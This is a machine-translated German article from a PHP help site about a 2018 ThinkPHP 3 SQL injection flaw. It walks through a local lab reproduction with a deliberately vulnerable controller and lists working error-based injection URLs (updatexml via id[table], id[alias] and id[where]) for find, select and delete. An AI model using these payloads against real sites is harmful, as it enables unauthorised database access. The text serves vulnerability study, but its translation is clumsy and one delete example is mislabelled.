Heim  >  Artikel  >  PHP-Framework  >  Gibt es eine Sicherheitslücke in thinkphp3?

Gibt es eine Sicherheitslücke in thinkphp3?

藏色散人
藏色散人Original
2019-08-06 11:31:112699Durchsuche

Gibt es eine Sicherheitslücke in thinkphp3?

Gibt es eine Sicherheitslücke in thinkphp3?

thinkphp3 ist anfällig, aber am Donnerstag, 23. August 2018 um 11:25 Uhr Pekinger Zeit, hat das tp-Team ein Sicherheitsupdate für die thinkphp 3-Serie durchgeführt, das nach der Analyse nicht mehr aktualisiert wird Korrigiert mehrere SQL-Injection-Risiken, die durch die Methoden select(), find() und delete() verursacht werden, die Daten vom Typ Array übergeben können.

Wiederkehr der Sicherheitslücke 0x01

Laden Sie den Quellcode herunter: git clone https://github.com/top-think/thinkphp.git

Verwenden Sie den Befehl „git checkout“, um die Version auf den letzten Commit zurückzusetzen: git checkout 109bf30254a38651c21837633d9293a4065c300b

Verwenden Sie integrierte Tools wie phpstudy, um thinkphp zu erstellen, und ändern Sie die Apache-Konfigurationsdatei httpd-conf

DocumentRoot "" in das Verzeichnis, in dem sich thinkphp befindet.

Gibt es eine Sicherheitslücke in thinkphp3?

Starten Sie phpstudy neu, greifen Sie auf 127.0.0.1 zu und geben Sie die Willkommensnachricht von thinkphp aus, die anzeigt, dass thinkphp normal ausgeführt wird.

Gibt es eine Sicherheitslücke in thinkphp3?

Erstellen Sie eine Datenbank, die Datenbank ist tptest, die Tabelle ist Benutzer, es gibt drei Felder in der Tabelle: ID, Benutzername, Pass

Gibt es eine Sicherheitslücke in thinkphp3?

Ändern Sie die Konfigurationsdatei ApplicationCommonConfconfig.php und fügen Sie Datenbankkonfigurationsinformationen hinzu. Fügen Sie nach

Gibt es eine Sicherheitslücke in thinkphp3?

den folgenden Code in ApplicationHomeControllerIndexController.class.php hinzu:

public function test()
    {
       $id = i('id');
       $res = M('user')->find($id);
       //$res = M('user')->delete($id);
       //$res = M('user')->select($id);
    }

Für die Methoden select() und find() gibt es viele Stellen Beachten Sie, dass hier hauptsächlich drei Tabellen, Alias, aufgeführt sind. Weitere Informationen finden Sie in den verschiedenen parseXXX-Methoden von parseSql, z. B. „Having“, „Group“ usw.

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

Gibt es eine Sicherheitslücke in thinkphp3?

Das Gleiche gilt für die Methode delete(): Hier sind drei grobe Beispiele: Tabelle, Alias ​​und Wo Stellen Sie sicher, wo Nicht leer (der detaillierte Grund wird später besprochen)

where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

Gibt es eine Sicherheitslücke in thinkphp3?

Durch den Vergleich der Commits auf Github können wir ungefähr wissen, dass sich dieses Update hauptsächlich in ThinkPHP/Library/ befindet. Think/Model In der Datei .class.php wurden die drei Funktionen „Löschen“, „Suchen“ und „Auswählen“ geändert.

Das obige ist der detaillierte Inhalt vonGibt es eine Sicherheitslücke in thinkphp3?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn